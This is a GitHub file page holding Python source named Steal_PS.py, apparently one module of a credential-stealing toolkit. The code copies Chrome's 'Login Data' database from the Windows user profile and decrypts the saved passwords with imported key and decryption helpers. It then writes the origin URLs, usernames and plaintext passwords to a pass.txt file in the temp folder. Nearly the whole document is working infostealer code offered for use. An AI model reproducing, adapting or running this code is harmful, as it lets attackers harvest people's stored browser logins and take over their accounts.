-
Notifications
You must be signed in to change notification settings - Fork 52
/
Steal_PS.py
58 lines (53 loc) · 2.51 KB
/
Steal_PS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: utf-8 '-*-'
# Author: Abdulrahman Mohammed (De3vil)
# Don't touch my code, it's art
#+==============================
from modules_version2.Moud.GetKay import Encryption_key
from modules_version2.Moud.DecryptPass import DecryptPassword
from os import path
from sqlite3 import connect
from shutil import copyfile
from os import path ,chdir , getenv , environ
from datetime import timezone, datetime, timedelta
class Main:
def __init__(self):
self.stored = ""
self.filename = "ChromeData.db"
self.EncryptionKey = Encryption_key()
self.kay = self.EncryptionKey.get_encryption_key()
self.db_path = path.join(environ["USERPROFILE"],
"AppData", "Local",
"Google", "Chrome",
"User Data", "Default",
"Login Data")
self.connectToDB = connect(self.filename)
self.copyfile_ = copyfile(self.db_path,self.filename)
self.cursor = self.connectToDB.cursor()
def get_chrome_datetime(self , chromedate):
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def main(self):
try:
self.cursor.execute("SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
except:
self.cursor.execute("SELECT action_url, username_value, password_value from logins"
)
for row in self.cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = DecryptPassword()
passs = password.decrypt_password(row[3] , key=self.kay)
date_created = row[4]
date_last_used = row[5]
if username or password:
paTh = chdir(environ["temp"])
with open ("pass.txt" , mode="a" ,encoding="utf-8") as f:
f.writelines(str(f"Origin URL: {origin_url}")+"\n\n"+str(f"Action URL: {action_url}")+"\n\n"+str(f"Username: {username}")+"\n\n"+str(f"Password: {passs}")+"\n")
else:
continue
if date_created != 86400000000 and date_created:
p = f"Creation date: {str(self.get_chrome_datetime(date_created))}"
if date_last_used != 86400000000 and date_last_used:
pr = f"Last Used: {str(self.get_chrome_datetime(date_last_used))}"
self.cursor.close()
self.connectToDB.close()